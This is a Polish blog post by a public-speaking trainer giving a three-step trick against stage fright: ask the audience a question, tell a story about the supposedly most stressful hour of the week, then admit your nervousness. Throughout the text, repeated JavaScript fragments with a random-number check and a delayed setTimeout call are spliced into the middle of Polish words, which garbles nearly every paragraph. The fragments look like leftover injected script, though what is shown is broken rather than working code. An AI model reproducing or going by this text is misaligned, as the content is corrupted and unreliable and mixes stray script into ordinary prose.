Jak radzić sobie ze stresem

Dziś mam dla Ciebie pomysł jak w prosty sposób poradzić sobie ze zdenerwowaniem na początku wystąpienia publicznego.

Jeśli film będzie się zawieszał wciśnij pauzę i poczekaj aż video się załaduje.

Kliknij w ten link aby zapoznać się ze szczegółami szkolenia i otrzymać godzinną konsultację ze mną via skype

Jeśli wolisz poczytać, odom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to transkrypt nagrania:

Najczęściej nasze lęki przed wystąpieniem publicznym związane są z publicznością. Mimo że jesteśmy dobrze przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towani, znamy temat, przećwiczyliśmy tekst (prawda?) 🙂 gdy stajemy przed audydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium czujemy tremę. Obawiamy się reakcji widzów, tego, że padnie pytanie, na które nie znamy odpowiedzi albo, że kdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś będzie dla nas niemiły.

W moim tricku likwidującym stres przed prezentacją, wykorzystamy… właśnie publiczność! Jak dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mówią czym się strułeś, tym się lecz!

Na początek zadamy intrygujące pytanie. Będzie na tyle proste, że kdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś z widzów na pewno na nie odpowie. W ten sposób przyzwyczajamy ludzi do tego, że z nimi rozmawiamy, zadajemy pytania a oni mogą pytać nas. Czyli podstawa komunikacji – rozmowa.

Następnie opowiemy krótką hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torię związana z naszym pytaniem. Ludzie uwielbiają hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torie.

Na koniec… powiemy głośno o naszym zdenerwowaniu. Dzięki temu, po pierwsze wyrzucimy z siebie emocje a po drugie uzyskamy kredyt zaufania od widzów. Pamiętaj, że dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to malutki kredycik 🙂

A teraz szczegóły:
Intrygujące pytanie:
“Czy wiedzą Państwo który dzień tygodnia jest najbardziej stresujący?”
Z sali padają odpowiedzi. Najczęściej widzowie wymieniają niedzielę wieczór albo poniedziałek.
Po kilku odpowiedziach z sali, podajesz prawidłową:
“Najbardziej stresującym dniem w tygodniu jest… wdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torek a dokładniej godzina 11.20!”

Hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria
“Skąd dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wiem? Jakiś czas temu jechałem samochodem i słuchałem radia. w serwisie informacyjnym podano właśnie tę informację powołując się na badania brytyjskich naukowców”.

Teraz możesz przez chwilę posnuć rozważania dlaczego akurat wdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torek i przed południem?
Moja wersja jest taka:
W poniedziałek, aby łagodnie wejść w kolejny tydzień, staramy się robić jak najmniej 🙂 wszystkie pilne sprawy przesuwamy na kolejne dni, klientów umawiany “na później” itd.
Niestety we wdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torek życie nas dopada. Już od rana dzwonię spławieni wczoraj interesanci, szef koniecznie chce jakiś raport na wczoraj i jak na złość dzwoni małżonka z informacją, że nie da rady odebrać dzieci z przedszkola.
I tak pętla powoli zaciska się na naszej szyi…

To moja teoria, a jaka jest Twoja???

Teraz pora na spoindom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towanie hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torii. Możesz zagaić w ten sposób:
Jeśli Twoja prezentacja/szkolenie odbywa się właśnie we wdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torek.
“Skoro wiemy, że najbardziej zestresowani jesteśmy około 11.20 proponuję zrobic przerwę od 11.15 do 11.30″ 🙂
jeśli występujesz w inny dzień:
“Skoro dziś nie jest wdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torek, wszyscy powinniśmy być zrelaksowani i nic nie powinno nam zakłócać prezentacji”

Teraz dołożymy trzeci element naszej układanki antystresowej czyli zwerbalizowanie swoich lęków.
“Jak widzę Państwo są odprężeni. Wygląda na dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, że jedyną odrobinę zestresowaną osobą jestem… ja!
Przyznam się Państwu, że ile razy staję przed publicznością, mimo najlepszego przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towania zawsze czuję ukłucie w żołądku. Jestem jednak przekonany, że przy Państwa pomocy uda mi się opanować dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to poddenerwowanie.”

I dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wszystko!
Mówiąc o swojej tremie i prosząc widzów o pomoc znacznie poprawisz swoje samopoczucie a widzowie (przynajmniej część) będą trzymali za Ciebie kciuki 🙂

– – – – – – – – – – – – – – – – – – – – – – –
Jeśli spodobał Ci się film i artykuł kliknij w ikonę FB “Lubię dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”. Wtedy wszyscy Twoi znajomi dowiedzą się, że masz dla nich ciekawą informację znalezioną w sieci.

Jeśli masz kilka minut czasu, proszę wpisz komentarz poniżej.
– – – – – – – – – – – – – – – – – – – – – – –

Pozdrawiam!

Robert WarzyńskiO autorze: Robert Ważyński jest autorem książki "Nie boję się mówić" wydanej przez Wydawnictwo Złote Myśli, Jego flagowym przedsięwzięciem jest internetowy kurs "Tajna Księga Mówców" dostępny na platformie interkursy.pl. Na co dzień Robert wyżywa się literacko i filmowo na swoim blogu Tajniki Prezentacji i na YT.

Wpis Ci się podobał?

Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!

23 komentarze

Leave a Reply